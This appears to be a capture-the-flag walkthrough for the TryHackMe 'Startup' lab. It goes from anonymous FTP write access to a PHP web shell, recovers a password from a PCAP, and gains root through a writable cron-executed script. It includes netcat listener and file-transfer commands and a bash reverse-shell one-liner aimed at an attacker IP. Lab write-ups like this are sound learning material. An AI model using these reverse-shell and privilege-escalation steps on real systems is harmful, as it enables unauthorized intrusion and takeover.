THM: Startup
Intro⌗
THM: Startup is an easy Linux box that’s good for practicing enumeration. We will be attacking the systems of Spice Hut, a spicy new food startup company. It starts off with a misconfigured FTP service that allows anonymous read access as well as write access in a specific directory. We will abuse this to upload some PHP shell code that we can execute through the HTTP service to get our initial foothold. Once on the box, a bit of enumeration reveals a PCAP file labeled as a suspicious incident. After combing through this file we’ll find the password for an unprivileged user. From there, privesc is a straightforward manipulation of a shell script being executed by root on a cronjob.
Recon⌗
So we have HTTP and FTP running. Let’s take a look at HTTP first.
It’s a plain webpage that doesn’t help us much, and there is nothing interesting in the HTML source either.
By running some basic content fuzzing we’ll find a /files directory.
It contains a notice.txt file with a reference to someone named Maya, so that may be a potential username later?
Let’s switch over to the FTP service. Whenever you see FTP it’s always worth checking if anonymous access is allowed by connecting with the username anonymous and an empty password.
This looks familiar… The FTP service’s root is the /files directory.
But notice the permissions on the ftp directory! We can write to it, which means we can try to upload a malicious file and get code execution.
Initial Foothold⌗
Since we know the HTTP server is Apache, we can guess that PHP may be enabled.
In another terminal window we can run echo "<?php phpinfo(); ?>" > info.php to create a test file.
In FTP, cd ftp to change to the ftp directory and send info.php to upload the file.
Now we can see if it executes by going to http://10.10.190.35/files/ftp/info.php in a browser.
And it worked! Now, let’s make a shell payload.
After uploading it, we can run nc -nlvp 9001 in a terminal to start a listener and then can launch the shell by visiting http://10.10.190.35/files/ftp/shell.php.
User Flag⌗
Now it’s time to start exploring.
In the root directory there is a recipe.txt file which is our first flag.
There is also an incidents/ user owned by our current user that contains a PCAP file.
Let’s transfer this back to ourselves to examine it. which nc shows netcat is installed so we can use it to send the file.
In a local terminal run nc -nlvp 9001 > suspicious.pcapng to open a listener that will write what it receives to a file. And on the target run nc [your THM VPN IP] 9001 < suspicious.pcapng to send it.
Now that we have the file locally we can open it in Wireshark to see what’s so suspicious about it.
It takes a bit of time to look through the various traffic streams but filtering to tcp.stream eq 7 shows us the good stuff.
Someone had a shell on the box and running commands just like we’re doing now, only whoever it was had a password. They tried running sudo -l as www-data user and we can see the password in plaintext. Only it turns out that is the password for the user lennie!
Privilege Escalation⌗
Let’s look through the scripts directory inside Lennie’s home directory.
This looks suspicious right away, as both files in this directory are owned by root and startup_list.txt was modified within the past minute. If we wait another minute we’ll see it is updated again.
Looking into planner.sh shows it is executing another script /etc/print.sh.
Aaaand Lennie owns the print script!
So, now we can put all the pieces together assume that root must be running planner.sh as a cronjob every minute since only they can write to startup_list.txt. However, since planner.sh also executes /etc/print.sh which is within our control, we can insert a command to send ourselves a root shell!
echo '/bin/bash -i >& /dev/tcp/10.13.17.127/9001 0>&1' >> /etc/print.sh
Finally, we can open a listener and wait up to a minute for the script to run again.
✅